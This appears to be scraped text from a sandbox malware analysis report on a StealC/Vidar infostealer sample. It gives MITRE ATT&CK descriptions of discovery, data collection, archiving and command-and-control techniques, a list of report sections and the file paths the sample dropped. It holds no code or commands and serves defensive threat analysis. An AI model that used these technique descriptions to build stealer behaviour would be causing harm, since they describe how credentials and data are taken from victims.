Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report vMRlWtVCEN.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CBGCBGCAFIIECBFIDHIJ

C:\ProgramData\EBAKKFHJDBKKEBFHDAAE

C:\ProgramData\ECAFHIIJJECGDHIEGDAKKKKFBF

C:\ProgramData\FCAKFCGC

C:\ProgramData\FIJKEHJJDAAKFHIDAKFHCBFCFB

C:\ProgramData\GCFIIEBK

C:\ProgramData\HDGHJEBFBFHIIECAECGH

Windows Analysis Report
vMRlWtVCEN.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre